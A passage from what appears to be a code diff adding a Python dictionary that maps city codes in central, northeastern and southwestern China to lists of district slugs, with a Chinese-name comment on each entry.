中南 + 'yy': [ + 'yueyanglou', # 岳阳楼 + 'yunxi', # 云溪 + 'linxiang', # 临湘 + 'miluo', # 汨罗 + 'junshan', # 君山 + 'yueyang', # 其他 + ], + # 郴州 湖南 中南 + 'chenzhou': [ + 'beihuqu', # 北湖 + 'suxian', # 苏仙 + 'zixing', # 资兴 + 'czguiyang', # 桂阳 + 'yizhang', # 宜章 + 'yongxing', # 永兴 + 'jiahe', # 嘉禾 + 'linwu', # 临武 + 'chenzhoushi', # 其它 + ], + # 邵阳 湖南 中南 + 'shaoyang': [ + 'shuangqingqu', # 双清 + 'daxiangqu', # 大祥 + 'beitaqu', # 北塔 + 'wugangshi', # 武冈 + 'shaodongxian', # 邵东 + 'shaoyangxian', # 邵阳县 + 'xinjunxian', # 新邵 + 'longhuixian', # 隆回 + 'dongkouxian', # 洞口 + 'suiningqu', # 绥宁 + 'xinningxian', # 新宁 + 'shaoyangcbx', # 城步县 + ], + # 怀化 湖南 中南 + 'hh': [ + 'hecheng', # 鹤城 + 'hongjiang', # 洪江 + 'yuanling', # 沅陵 + 'chenxi', # 辰溪 + 'xupuxian', # 溆浦 + 'zhongfang', # 中方 + 'huitong', # 会同 + 'huaihua', # 其它 + ], + # 永州 湖南 中南 + 'yongzhou': [ + 'lengshuitangqu', # 冷水滩 + 'linglingqu', # 零陵 + 'qiyang', # 祁阳 + 'ningyuan', # 宁远 + 'donganxian', # 东安 + 'shuangpai', # 双牌 + 'daoxiang', # 道县 + 'jianghua', # 江华 + 'jiangyong', # 江永 + 'xintian', # 新田 + 'langshan', # 蓝山 + ], + # 娄底 湖南 中南 + 'ld': [ + 'louxingqu', # 娄星 + 'lengshuijiangshi', # 冷水江 + 'lianyuanshi', # 涟源 + 'shuangfengxian', # 双峰 + 'xinhuaxian', # 新化 + 'loudizb', # 娄底周边 + ], + # 湘西 湖南 中南 + 'xiangxi': [ + 'jishou', # 吉首 + 'luxix', # 泸溪 + 'fenghuang', # 凤凰 + 'huayuanx', # 花垣 + 'baojing', # 保靖 + 'guzhang', # 古丈 + 'yongshunx', # 永顺 + 'longshanx', # 龙山 + 'xiangxizhoubian', # 湘西周边 + ], + # 张家界 湖南 中南 + 'zjj': [ + 'yongdingqu', # 永定 + 'wulingyuanqu', # 武陵源 + 'cilixian', # 慈利 + 'sangzhixian', # 桑植 + ], + # 南昌 江西 中南 + 'nc': [ + 'donghu', # 东湖 + 'xihu', # 西湖 + 'xinjian', # 新建区 + 'nanchangxian', # 南昌县 + 'qingyunpu', # 青云谱 + 'wailiqu', # 湾里 + 'qingshanhuqu', # 青山湖 + 'honggutanxin', # 红谷滩新区 + 'gaoxinkfq', # 高新开发区 + 'ncxianghu', # 象湖 + 'ncxl', # 小蓝经济开发区 + 'nccbjjkfq', # 昌北经济开发区 + 'nanchang', # 南昌周边 + ], + # 赣州 江西 中南 + 'ganzhou': [ + 'zhanggong', # 章贡 + 'nankang', # 南康 + 'ruijin', # 瑞金 + 'ganxianq', # 赣县 + 'xinfengq', # 信丰 + 'dayuq', # 大余 + 'shangyou', # 上犹 + 'chongyi', # 崇义 + 'anyuanq', # 安远 + 'longnan', # 龙南 + 'dingnan', # 定南 + 'quannan', # 全南 + 'xingguo', # 兴国 + 'ningdu', # 宁都 + 'yudu', # 于都 + 'huichang', # 会昌 + 'xunwu', # 寻乌 + 'shicheng', # 石城 + 'ganzzjxq', # 章江新区 + 'ganzkfq', # 开发区 + 'ganzzbq', # 站北区 + 'gzjkl', # 健康路 + ], + # 九江 江西 中南 + 'jj': [ + 'gongqing', # 共青城 + 'jiujiangshiqu', # 九江市区 + 'lushan', # 庐山 + 'ruichang', # 瑞昌 + 'jiujiangxian', # 九江县 + 'wuningxian', # 武宁 + 'xiushuixian', # 修水 + 'yongxiuxian', # 永修 + 'dean', # 德安 + 'jjkaifaqu', # 开发区 + 'jjjrdd', # 九瑞大道 + 'xingzixian', # 星子 + 'duchangxian', # 都昌 + 'hukouxian', # 湖口 + 'pengzexian', # 彭泽 + 'xunyang', # 浔阳区 + 'jiujiangshi', # 九江周边 + ], + # 宜春 江西 中南 + 'yichun': [ + 'yuanzhou', # 袁州 + 'fengchengshi', # 丰城 + 'gaoan', # 高安 + 'zhangshu', # 樟树 + 'wangzai', # 万载 + 'shanggao', # 上高 + 'fengxin', # 奉新 + 'yifeng', # 宜丰 + 'yichunshi', # 其它 + ], + # 吉安 江西 中南 + 'ja': [ + 'jizhouqu', # 吉州 + 'qingyuanqu', # 青原 + 'jinggangshanshi', # 井冈山 + 'suichuanxian', # 遂川 + 'jianxian', # 吉安县 + 'jishuixian', # 吉水 + 'xijiangxian', # 峡江 + 'xinganx', # 新干 + 'yongfengxian', # 永丰 + 'taihexian', # 泰和 + 'wananxian', # 万安 + 'anfuxian', # 安福 + 'yongxinxian', # 永新 + 'lulingxinqu', # 庐陵新区 + ], + # 上饶 江西 中南 + 'sr': [ + 'xinzhouq', # 信州 + 'dexing', # 德兴 + 'shangraox', # 上饶县 + 'guangfeng', # 广丰 + 'yushanx', # 玉山 + 'poyang', # 鄱阳 + 'yugan', # 余干 + 'shangraozhoubian', # 上饶周边 + ], + # 萍乡 江西 中南 + 'px': [ + 'anyuan', # 安源 + 'luxi', # 芦溪 + 'xiangdong', # 湘东 + 'shangli', # 上栗 + 'lianhuaxian', # 莲花 + 'pingxiang', # 其它 + ], + # 抚州 江西 中南 + 'fuzhou': [ + 'linchuan', # 临川 + 'nanchengx', # 南城 + 'dongxiang', # 东乡 + 'chongren', # 崇仁 + 'lean', # 乐安 + 'fuzhouzhoubian', # 抚州周边 + ], + # 景德镇 江西 中南 + 'jdz': [ + 'lepingshi', # 乐平 + 'fuliangxian', # 浮梁 + 'zhushanqu', # 珠山 + 'changjiangqu', # 昌江 + ], + # 新余 江西 中南 + 'xinyu': [ + 'yushui', # 渝水 + 'xiannvhu', # 仙女湖 + 'fenyi', # 分宜 + 'xinyuzhoubian', # 新余周边 + ], + # 鹰潭 江西 中南 + 'yingtan': [ + 'yuehu', # 月湖 + 'guixi', # 贵溪 + 'yujiang', # 余江 + 'longhushan', # 龙虎山 + 'yingtanqita', # 其他 + ], + # 永新 江西 中南 + 'yxx': [ + 'yxxchengqu', # 永新县城 + 'donglupianxz', # 东路片乡镇 + 'xilupianxz', # 西路片乡镇 + 'nanlupianxz', # 南路片乡镇 + 'beilupianxz', # 北路片乡镇 + 'yxxzhoubian', # 永新县周边 + ], + # 沈阳 辽宁 东北 + 'sy': [ + 'syheping', # 和平 + 'shenhe', # 沈河 + 'huanggu', # 皇姑 + 'dadong', # 大东 + 'sytiexi', # 铁西 + 'dongling', # 东陵 + 'yuhong', # 于洪 + 'xinchengzi', # 沈北新区 + 'sujiatun', # 苏家屯 + 'shenyangshi', # 浑南新区 + 'shenyang', # 沈阳周边 + ], + # 大连 辽宁 东北 + 'dl': [ + 'xigang', # 西岗 + 'zhongshanqu', # 中山 + 'shahekou', # 沙河口 + 'ganjingziqu', # 甘井子 + 'gaoxinyuanqu', # 高新园 + 'lvshunkou', # 旅顺 + 'jinzhouqu', # 金州 + 'daliankfq', # 开发区 + 'wafangdian', # 瓦房店 + 'dlpulandian', # 普兰店 + 'zhuanghe', # 庄河 + 'dalian', # 大连周边 + ], + # 鞍山 辽宁 东北 + 'as': [ + 'tiedong', # 铁东 + 'tiexi', # 铁西 + 'lishan', # 立山 + 'haicheng', # 海城 + 'qianshan', # 千山 + 'xiuyan', # 岫岩 + 'taianxian', # 台安 + 'anshan', # 鞍山周边 + ], + # 锦州 辽宁 东北 + 'jinzhou': [ + 'linghequ', # 凌河 + 'gutaqu', # 古塔 + 'taihequ', # 太和 + 'songshanxinqu', # 松山新区 + 'jingjikaifaq', # 经济开发区 + 'linghaishi', # 凌海 + 'beizhenshi', # 北镇 + 'heishanshi', # 黑山 + 'yixian', # 义县 + ], + # 抚顺 辽宁 东北 + 'fushun': [ + 'shuncheng', # 顺城 + 'xinfuqu', # 新抚 + 'dongzhou', # 东洲 + 'wanghua', # 望花 + 'fskaifa', # 开发区 + 'fsshengli', # 胜利 + 'fushunxian', # 抚顺 + 'xinbin', # 新宾 + 'fsqingyuan', # 清原 + 'lishikaifaqu', # 李石开发区 + 'gaowanxinqu', # 高湾新区 + 'fushunshi', # 其他 + ], + # 营口 辽宁 东北 + 'yk': [ + 'zhanqianqu', # 站前 + 'xishi', # 西市 + 'bayuquan', # 鲅鱼圈 + 'laobian', # 老边 + 'gaizhou', # 盖州 + 'dashiqiao', # 大石桥 + 'yingkou', # 其它 + 'xiongyuezhen', # 熊岳镇 + ], + # 盘锦 辽宁 东北 + 'pj': [ + 'xinglongtai', # 兴隆台 + 'shuangtaizi', # 双台子 + 'panshan', # 盘山 + 'dawa', # 大洼 + 'panjin', # 其它 + ], + # 朝阳 辽宁 东北 + 'cy': [ + 'shuangtaq', # 双塔 + 'longcheng', # 龙城 + 'beipiao', # 北票 + 'lingyuan', # 凌源 + 'chaoyangx', # 朝阳县 + 'jiangping', # 建平 + 'kalaqin', # 喀喇沁 + 'chaoyangzhoub', # 朝阳周边 + ], + # 丹东 辽宁 东北 + 'dandong': [ + 'zhenxing', # 振兴 + 'yuanbao', # 元宝 + 'zhenan', # 振安 + 'donggang', # 东港 + 'fengcheng', # 凤城 + 'kuandian', # 宽甸 + 'dandongqita', # 其他 + ], + # 辽阳 辽宁 东北 + 'liaoyang': [ + 'baita', # 白塔 + 'wensheng', # 文圣 + 'hongwei', # 宏伟 + 'taizihe', # 太子河 + 'gongchangling', # 弓长岭 + 'dengta', # 灯塔 + 'liaoyangxian', # 辽阳县 + 'liaoyangshi', # 其它 + ], + # 本溪 辽宁 东北 + 'benxi': [ + 'pingshanqu', # 平山 + 'bxxihu', # 溪湖 + 'mingshan', # 明山 + 'nanfen', # 南芬 + 'bxbenxi', # 本溪县 + 'huanren', # 桓仁 + 'benxishi', # 其它 + ], + # 葫芦岛 辽宁 东北 + 'hld': [ + 'longgangq', # 龙港 + 'lianshan', # 连山 + 'nanpiao', # 南票 + 'xingcheng', # 兴城 + 'suizhong', # 绥中 + 'jianchang', # 建昌 + 'hldkaifaqu', # 开发区 + 'beiganggongye', # 北港工业区 + 'huludaozhoubian', # 葫芦岛周边 + ], + # 铁岭 辽宁 东北 + 'tl': [ + 'yinzq', # 银州 + 'qinghequ', # 清河 + 'diaobingshan', # 调兵山 + 'kaiyuan', # 开原 + 'tielingxian', # 铁岭县 + 'xifengxian', # 西丰 + 'changtuxian', # 昌图 + ], + # 阜新 辽宁 东北 + 'fx': [ + 'haizhouq', # 海州 + 'xinqiu', # 新邱 + 'taipingq', # 太平 + 'qinghemen', # 清河门 + 'xihe', # 细河 + 'zhangwu', # 彰武 + 'fuxinx', # 阜新县 + 'fuxinzhoubian', # 阜新周边 + ], + # 庄河 辽宁 东北 + 'pld': [ + 'pulandianshi', # 普兰店 + 'pikou', # 皮口镇 + 'chengzitan', # 城子坦镇 + 'daliujia', # 大刘家镇 + 'yangshufang', # 杨树房镇 + 'shuangtazhen', # 双塔镇 + 'anbo', # 安波镇 + 'pulandian', # 其他 + ], + # 瓦房店 辽宁 东北 + 'wfd': [ + 'wafangdianshi', # 瓦房店 + 'changxingdao', # 长兴岛 + 'taiyangjie', # 太阳街道 + 'laohutun', # 老虎屯镇 + 'delisi', # 得利寺镇 + 'fuzhoucheng', # 复州城镇 + 'donggangzhen', # 东岗镇 + 'wafangdianqita', # 其他 + ], + # 哈尔滨 黑龙江 东北 + 'hrb': [ + 'nangang', # 南岗 + 'daoli', # 道里 + 'daowai', # 道外 + 'xiangfang', # 香坊 + 'hrbjiangbei', # 江北 + 'hrbkaifaqu', # 开发区 + 'hebyilan', # 依兰 + 'hebfangz', # 方正 + 'hebbinxian', # 宾县 + 'hebbayan', # 巴彦 + 'hebmulan', # 木兰 + 'hebtonghe', # 通河 + 'haerbin', # 哈尔滨周边 + ], + # 大庆 黑龙江 东北 + 'dq': [ + 'saertu', # 萨尔图 + 'ranghulu', # 让胡路 + 'longfeng', # 龙凤 + 'honggang', # 红岗 + 'datong', # 大同 + 'daqing', # 其他 + ], + # 齐齐哈尔 黑龙江 东北 + 'qqhr': [ + 'longsha', # 龙沙 + 'jianhua', # 建华 + 'tiefeng', # 铁锋 + 'angangxi', # 昂昂溪 + 'fulaerji', # 富拉尔基 + 'nianzishan', # 碾子山 + 'meilisi', # 梅里斯 + 'nehe', # 讷河 + 'tailai', # 泰来 + 'qqhe', # 其它 + ], + # 牡丹江 黑龙江 东北 + 'mdj': [ + 'dongan', # 东安 + 'muxian', # 西安 + 'aimin', # 爱民 + 'yangming', # 阳明 + 'suifenhe', # 绥芬河 + 'ninganshi', # 宁安 + 'hailin', # 海林 + 'muling', # 穆棱 + 'mdjdnx', # 东宁县 + 'mdjlkx', # 林口县 + 'mudanjiang', # 其他 + ], + # 绥化 黑龙江 东北 + 'suihua': [ + 'shbeilin', # 北林 + 'shanda', # 安达 + 'shzhaodong', # 肇东 + 'shhailun', # 海伦 + 'shwangkui', # 望奎 + 'shlanxi', # 兰西 + 'shqinggang', # 青冈 + 'shqingan', # 庆安 + 'shmingshui', # 明水 + 'shsuileng', # 绥棱 + ], + # 佳木斯 黑龙江 东北 + 'jms': [ + 'qianjinqu', # 前进 + 'yonghongqu', # 永红 + 'xiangyq', # 向阳 + 'dongfengqu', # 东风 + 'jiaoqu', # 郊区 + 'tongjiangshi', # 同江 + 'fujinshi', # 富锦 + 'huananxian', # 桦南 + 'huachuanxian', # 桦川 + 'tangyuanxian', # 汤原 + 'fuyuanxian', # 抚远 + ], + # 鸡西 黑龙江 东北 + 'jixi': [ + 'jiguanqu', # 鸡冠 + 'hengshanqu', # 恒山 + 'didaoqu', # 滴道 + 'lishuqu', # 梨树 + 'chengzihequ', # 城子河 + 'mashanquxian', # 麻山 + 'hulinshi', # 虎林 + 'mishanshi', # 密山 + 'jidongxian', # 鸡东 + ], + # 双鸭山 黑龙江 东北 + 'sys': [ + 'jianshan', # 尖山 + 'lingdong', # 岭东 + 'sifangtai', # 四方台 + 'baoshanqu', # 宝山 + 'jixian', # 集贤 + 'youyix', # 友谊 + 'baoqing', # 宝清 + 'raohe', # 饶河 + 'shuangyashanzb', # 双鸭山周边 + ], + # 鹤岗 黑龙江 东北 + 'hegang': [ + 'gongnongqu', # 工农 + 'xiangyangquq', # 向阳 + 'nanshanquq', # 南山 + 'dongshanqu', # 东山 + 'xingshanqu', # 兴山 + 'xinganqu', # 兴安 + 'suibinxian', # 绥滨 + 'luobeixian', # 萝北 + ], + # 黑河 黑龙江 东北 + 'heihe': [ + 'aihui', # 爱辉 + 'beian', # 北安 + 'wudalianchi', # 五大连池 + 'nenjiang', # 嫩江 + 'xunke', # 逊克 + 'sunwu', # 孙吴 + 'heihezb', # 黑河周边 + ], + # 伊春 黑龙江 东北 + 'yich': [ + 'yichunqu', # 伊春 + 'nanchaqu', # 南岔 + 'youhaoqu', # 友好 + 'xilinqu', # 西林 + 'cuiluanqu', # 翠峦 + 'xinqingqu', # 新青 + 'yichunzb', # 伊春周边 + ], + # 七台河 黑龙江 东北 + 'qth': [ + 'taoshan', # 桃山 + 'xinxing', # 新兴 + 'qiezihe', # 茄子河 + 'boli', # 勃利 + 'qitaihezb', # 七台河周边 + ], + # 大兴安岭 黑龙江 东北 + 'dxal': [ + 'huma', # 呼玛 + 'tahe', # 塔河 + 'mohe', # 漠河 + 'jiagedaqi', # 加格达奇 + 'songling', # 松岭 + 'xinlin', # 新林 + 'huzhong', # 呼中 + 'daxinganlingzb', # 大兴安岭周边 + ], + # 长春 吉林 东北 + 'cc': [ + 'chaoyangqu', # 朝阳 + 'nanguan', # 南关 + 'lvyuan', # 绿园 + 'kuancheng', # 宽城 + 'erdao', # 二道 + 'shuangyang', # 双阳 + 'jingkai', # 经开 + 'ccgaoxin', # 高新 + 'qichecheng', # 汽车城 + 'jingyue', # 净月 + 'jiutai', # 九台 + 'yushu', # 榆树 + 'dehui', # 德惠 + 'nongan', # 农安 + 'changchun', # 长春周边 + ], + # 吉林 吉林 东北 + 'jl': [ + 'chuanying', # 船营 + 'changyi', # 昌邑 + 'longtan', # 龙潭 + 'fengman', # 丰满 + 'huadian', # 桦甸 + 'panshi', # 磐石 + 'shulan', # 舒兰 + 'jiaohe', # 蛟河 + 'yongj', # 永吉 + 'jljilin', # 吉林周边 + ], + # 四平 吉林 东北 + 'sp': [ + 'tiexiq', # 铁西 + 'tiedongq', # 铁东 + 'shuangliao', # 双辽 + 'gongzhuling', # 公主岭 + 'lishu', # 梨树县 + 'yitong', # 伊通县 + 'spgjz', # 孤家子镇 + 'spystz', # 榆树台镇 + 'sipingzhoubian', # 四平周边 + ], + # 延边 吉林 东北 + 'yanbian': [ + 'yanji', # 延吉 + 'dunhua', # 敦化 + 'huichun', # 珲春 + 'helong', # 和龙 + 'tumen', # 图们 + 'longjing', # 龙井 + 'wangqing', # 汪清 + 'antu', # 安图 + 'yanbianshi', # 其他 + ], + # 松原 吉林 东北 + 'songyuan': [ + 'guoerls', # 前郭 + 'changlingxian', # 长岭 + 'fuyuxian', # 扶余 + 'qiananxian', # 乾安 + 'ningjiangxian', # 宁江 + 'jingjijs', # 经济技术开发区 + 'nongyequ', # 农业高新产业开发区 + ], + # 白城 吉林 东北 + 'bc': [ + 'baichengshi', # 白城 + 'taobei', # 洮北 + 'taonan', # 洮南 + 'daanshi', # 大安 + 'zhenlaixian', # 镇赉 + 'tongyuxian', # 通榆 + 'bcqita', # 白城周边 + ], + # 通化 吉林 东北 + 'th': [ + 'dongchang', # 东昌 + 'erdaojiang', # 二道江 + 'meihekou', # 梅河口 + 'jian', # 集安 + 'tonghuax', # 通化 + 'huinanx', # 辉南 + 'liuhe', # 柳河 + 'tonghuazhoubian', # 通化周边 + ], + # 白山 吉林 东北 + 'baishan': [ + 'badaojiang', # 八道江 + 'jiangyuan', # 江源 + 'linjiangs', # 临江 + 'fusong', # 抚松 + 'jingyux', # 靖宇 + 'changbaix', # 长白 + 'baishanzhoubian', # 白山周边 + ], + # 辽源 吉林 东北 + 'liaoyuan': [ + 'longshan', # 龙山 + 'liaoyuanxaq', # 西安区 + 'dongfengxian', # 东丰 + 'dongliao', # 东辽 + 'liaoyuanqita', # 其它 + ], + # 成都 四川 西南 + 'cd': [ + 'jintang', # 金堂 + 'cdtfxq', # 天府新区 + 'wuhou', # 武侯 + 'jinjiang', # 锦江 + 'chenghua', # 成华 + 'jinniu', # 金牛 + 'qingyangqu', # 青羊 + 'dujiangyanshi', # 都江堰 + 'xindu', # 新都 + 'qingbaijiang', # 青白江 + 'pixian', # 郫县 + 'wenjiang', # 温江 + 'longquanyi', # 龙泉驿 + 'shuangliu', # 双流 + 'cdgaoxin', # 高新区 + 'gaoxinxiqu', # 高新西区 + 'xinjin', # 新津 + 'cdqls', # 邛崃市 + 'chengdu', # 成都周边 + 'cdchongzhou', # 崇州 + 'cddayi', # 大邑 + 'cdpujiang', # 蒲江 + ], + # 绵阳 四川 西南 + 'mianyang': [ + 'fuchengqu', # 涪城 + 'youxian', # 游仙 + 'jiangyou', # 江油 + 'mygaoxinqu', # 高新区 + 'jingkaiqu', # 经开区 + 'kechuangyuanqu', # 科创园区 + 'santaixian', # 三台县 + 'mianyangshi', # 绵阳周边 + ], + # 德阳 四川 西南 + 'deyang': [ + 'jingyangqu', # 旌阳 + 'guanghanshi', # 广汉 + 'shenfangshi', # 什邡 + 'mianzhushi', # 绵竹 + 'luojiangxian', # 罗江 + 'zhongjiangxian', # 中江 + 'deyangzb', # 德阳周边 + ], + # 南充 四川 西南 + 'nanchong': [ + 'shunqingqu', # 顺庆 + 'gaopingqu', # 高坪 + 'jialingqu', # 嘉陵 + 'langzhongshi', # 阆中 + 'yilongxian', # 仪陇 + 'nanbuxian', # 南部 + 'penganxian', # 蓬安 + 'yingshanxianq', # 营山 + 'xichongxian', # 西充 + 'nanchongzb', # 南充周边 + ], + # 宜宾 四川 西南 + 'yb': [ + 'cuipingqu', # 翠屏 + 'yibinxian', # 宜宾县 + 'nanxixian', # 南溪 + 'jianganxian', # 江安 + 'changningx', # 长宁 + 'gaoxian', # 高县 + 'junlianxian', # 筠连 + 'gongxian', # 珙县 + 'xingwenxian', # 兴文 + 'pingshanxian', # 屏山 + ], + # 自贡 四川 西南 + 'zg': [ + 'ziliujing', # 自流井 + 'daanqu', # 大安 + 'gongjingqu', # 贡井 + 'yantanqu', # 沿滩 + 'rongxian', # 荣县 + 'fsx', # 富顺 + 'zigongzb', # 自贡周边 + ], + # 乐山 四川 西南 + 'ls': [ + 'lsshizhong', # 市中区 + 'wutongqiao', # 五通桥 + 'shawan', # 沙湾 + 'emeishan', # 峨眉山 + 'jianwei', # 犍为 + 'jingyan', # 井研 + 'jiaj', # 夹江 + 'mab', # 马边 + 'muchuan', # 沐川 + 'ebian', # 峨边 + 'leshan', # 乐山周边 + ], + # 泸州 四川 西南 + 'luzhou': [ + 'jiangyangqu', # 江阳 + 'longmatanqu', # 龙马潭 + 'naxiqu', # 纳溪 + 'luxian', # 泸县 + 'hejiangxian', # 合江 + 'xuyongxian', # 叙永 + 'gulinxian', # 古蔺 + 'luzhouzb', # 泸州周边 + ], + # 达州 四川 西南 + 'dazhou': [ + 'tongchuanqu', # 通川 + 'wanyuanshi', # 万源 + 'daxian', # 达县 + 'xuanhan', # 宣汉 + 'kaijiang', # 开江 + 'dazu', # 大竹 + 'qux', # 渠县 + 'dazhouzhoubian', # 达州周边 + ], + # 内江 四川 西南 + 'scnj': [ + 'dongxing', # 东兴 + 'shizhong', # 市中区 + 'weiyuan', # 威远 + 'zizhong', # 资中 + 'longchang', # 隆昌 + 'neijiangshi', # 其它 + ], + # 遂宁 四川 西南 + 'suining': [ + 'chuanshanqu', # 船山 + 'anjuqu', # 安居 + 'pengxixian', # 蓬溪 + 'shehongxian', # 射洪 + 'dayingxian', # 大英 + 'suiningzb', # 遂宁周边 + ], + # 攀枝花 四川 西南 + 'panzhihua': [ + 'dongq', # 东区 + 'xiq', # 西区 + 'renhequ', # 仁和 + 'miyixian', # 米易 + 'yanbianxian', # 盐边 + ], + # 眉山 四川 西南 + 'ms': [ + 'dongpoqu', # 东坡 + 'hongyaxian', # 洪雅 + 'renshouxian', # 仁寿 + 'danlingxian', # 丹棱 + 'pengshanxian', # 彭山 + 'qingshenxian', # 青神 + 'meishanzhoubian', # 眉山周边 + ], + # 广安 四川 西南 + 'ga': [ + 'guangan', # 广安 + 'guanganchengnan', # 广安城南 + 'guanganchengbei', # 广安城北 + 'yuechixian', # 岳池 + 'huayingshi', # 华蓥 + 'linshuixian', # 邻水 + 'wushengxian', # 武胜 + 'qitaq', # 其他 + ], + # 资阳 四川 西南 + 'zy': [ + 'yanjiangqu', # 雁江 + 'anyuexian', # 安岳 + 'lezhixian', # 乐至 + 'jianyangshi', # 简阳 + ], + # 凉山 四川 西南 + 'liangshan': [ + 'xichangshi', # 西昌 + 'huid', # 会东 + 'dechang', # 德昌 + 'butuo', # 布拖 + 'ganluo', # 甘洛 + 'huili', # 会理 + 'liangshanzhoubian', # 凉山周边 + ], + # 广元 四川 西南 + 'guangyuan': [ + 'lizhouqu', # 利州 + 'yuanbaqu', # 元坝 + 'chaotianqu', # 朝天 + 'wangcangqu', # 旺苍 + 'qingchuanxian', # 青川 + 'jiangexian', # 剑阁 + 'cangxixian', # 苍溪 + 'guangyuanzhoubian', # 广元周边 + ], + # 雅安 四川 西南 + 'ya': [ + 'yuchengqu', # 雨城 + 'lusx', # 芦山 + 'mingshanxian', # 名山 + 'tianquanxian', # 天全 + 'xingjingxian', # 荥经 + 'baoxingxian', # 宝兴 + 'hanyuanxian', # 汉源 + 'shimianxian', # 石棉 + 'yaanzhoubian', # 雅安周边 + ], + # 巴中 四川 西南 + 'bazhong': [ + 'bazhouqu', # 巴州 + 'tongjiangxian', # 通江 + 'nanjiangxian', # 南江 + 'pingchangxian', # 平昌 + 'enyang', # 恩阳 + 'jingkaiqubz', # 经开区 + 'bazhongzhoubian', # 巴中周边 + ], + # 阿坝 四川 西南 + 'ab': [ + 'maerkangxian', # 马尔康 + 'wenchuanxian', # 汶川县 + 'xiaojinxian', # 小金 + 'maoxian', # 茂县 + 'songpanxian', # 松潘 + 'jiuzhaigouxian', # 九寨沟 + 'abazhoubian', # 阿坝周边 + ], + # 甘孜 四川 西南 + 'ganzi': [ + 'kangdingxian', # 康定 + 'danbaxian', # 丹巴 + 'ludingxian', # 泸定 + 'degexian', # 德格 + 'ganzixian', # 甘孜县 + 'ganzizhoubian', # 甘孜周边 + ], + # 昆明 云南 西南 + 'km': [ + 'panlong', # 盘龙 + 'guandu', # 官渡 + 'wuhua', # 五华 + 'xishan', # 西山 + 'anningshi', # 安宁 + 'chenggong', # 呈贡 + 'kunming', # 昆明周边 + ], + # 曲靖 云南 西南 + 'qj': [ + 'qilinqu', # 麒麟 + 'zhanyixian', # 沾益 + 'xuanwushi', # 宣威 + 'huizexian', # 会泽 + 'luopingxian', # 罗平 + 'qjfuyuanxian', # 富源 + 'shizongxian', # 师宗 + 'luliangxian', # 陆良 + 'malongxian', # 马龙 + ], + # 大理 云南 西南 + 'dali': [ + 'dalishi', # 大理市 + 'yangxianzizhi', # 漾濞 + 'xiangyunxian', # 祥云 + 'binchuanxian', # 宾川 + 'miduxian', # 弥渡 + 'nanjianzizhi', # 南涧 + 'weishanzizhi', # 巍山 + 'yongpingxian', # 永平 + 'yunlongxian', # 云龙 + 'eryuanxian', # 洱源 + 'jianchuanxian', # 剑川 + 'heqingxian', # 鹤庆 + ], + # 红河 云南 西南 + 'honghe': [ + 'mengzixian', # 蒙自 + 'gejiushi', # 个旧 + 'kaiyuanshi', # 开远 + 'lvchunxian', # 绿春 + 'jianshuixian', # 建水 + 'shipingxian', # 石屏 + 'milexian', # 弥勒 + 'luxixian', # 泸西 + 'yuanyangxian', # 元阳 + 'honghexian', # 红河县 + 'jinpingxian', # 金平 + 'hekouxian', # 河口 + 'pingbianxian', # 屏边 + ], + # 玉溪 云南 西南 + 'yx': [ + 'hongta', # 红塔 + 'huaning', # 华宁 + 'chengjiang', # 澄江 + 'yimen', # 易门 + 'tonghai', # 通海 + 'jiangchuan', # 江川 + 'yuanjiang', # 元江 + 'eshanxian', # 峨山 + 'xinpingxian', # 新平 + 'yuxi', # 其它 + ], + # 丽江 云南 西南 + 'lj': [ + 'guchengqu', # 古城 + 'yongshengxian', # 永胜 + 'huapingxian', # 华坪 + 'yulongxian', # 玉龙 + 'ninglangxian', # 宁蒗 + ], + # 文山 云南 西南 + 'ws': [ + 'wenshanxian', # 文山 + 'yanshanqu', # 砚山 + 'xichouxian', # 西畴 + 'malipo', # 麻栗坡 + 'maguanxian', # 马关 + 'qiubeixian', # 丘北 + 'guangnanxian', # 广南 + 'funingqu', # 富宁 + ], + # 楚雄 云南 西南 + 'cx': [ + 'chuxiongshi', # 楚雄 + 'nanhuaxian', # 南华 + 'lufengxian', # 禄丰 + 'dayaoxian', # 大姚 + 'yaoanxian', # 姚安 + 'yongrenxian', # 永仁 + 'moudingxian', # 牟定 + 'yuanmouxian', # 元谋 + 'shuangbaixian', # 双柏 + 'wudingxian', # 武定 + ], + # 西双版纳 云南 西南 + 'bn': [ + 'jinggongshi', # 景洪 + 'menghaixian', # 勐海 + 'menglaxian', # 勐腊 + 'xishuangbannazhoubian', # 西双版纳周边 + ], + # 昭通 云南 西南 + 'zt': [ + 'zhaoyangqu', # 昭阳 + 'qiaojiaxian', # 巧家 + 'ludianxian', # 鲁甸 + 'yongshanxian', # 永善 + 'daguanxian', # 大关 + 'yiliangxian', # 彝良 + 'zhaotongzhoubian', # 昭通周边 + ], + # 德宏 云南 西南 + 'dh': [ + 'dhms', # 芒市 + 'luxishi', # 潞西 + 'ruilishi', # 瑞丽 + 'longchuanxian', # 陇川 + 'lianghexian', # 梁河 + 'yingjiangxian', # 盈江 + 'dehongzhoubian', # 德宏周边 + ], + # 普洱 云南 西南 + 'pe': [ + 'simaoqu', # 思茅 + 'ningerxian', # 宁洱 + 'mojiangxian', # 墨江 + 'jingdongxian', # 景东 + 'jingguxian', # 景谷 + 'zhenyuanxian', # 镇沅 + 'puerzhoubian', # 普洱周边 + ], + # 保山 云南 西南 + 'bs': [ + 'longyangqu', # 隆阳 + 'changningxian', # 昌宁 + 'shidianxian', # 施甸 + 'longlingxian', # 龙陵 + 'tengchongxian', # 腾冲 + ], + # 临沧 云南 西南 + 'lincang': [ + 'linx', # 临翔 + 'yunx', # 云县 + 'fengqing', # 凤庆 + 'yongde', # 永德 + 'zhentang', # 镇康 + 'gengma', # 耿马 + 'cangyuan', # 沧源 + 'shuanjiang', # 双江 + 'lincangzhoubian', # 临沧周边 + ], + # 迪庆 云南 西南 + 'diqing': [ + 'xianggelilaxian', # 香格里拉 + 'deqinxian', # 德钦 + 'weixilixian', # 维西傈 + 'diqingzhoubian', # 迪庆周边 + ], + # 怒江 云南 西南 + 'nujiang': [ + 'lushuixian', # 泸水 + 'bijiangxian', # 碧江 + 'fugongxian', # 福贡 + 'gongshanxian', # 贡山 + 'nujianglpx', # 兰坪县 + 'nujiangzhoubian', # 怒江周边 + ], + # 贵阳 贵州 西南 + 'gy': [ + 'yunyan', # 云岩 + 'nanming', # 南明 + 'huaxi', # 花溪 + 'baiyunqv', # 白云 + 'xiaohequ', # 小河 + 'wudang', # 乌当 + 'jinyangxinqu', # 金阳新区 + 'qingzhen', # 清镇 + 'xiaohepian', # 小河片 + 'guiyang', # 贵阳周边 + ], + # 遵义 贵州 西南 + 'zunyi': [ + 'honghuagangqu', # 红花岗 + 'huichuanqu', # 汇川 + 'chishuishi', # 赤水 + 'renhuaishi', # 仁怀 + 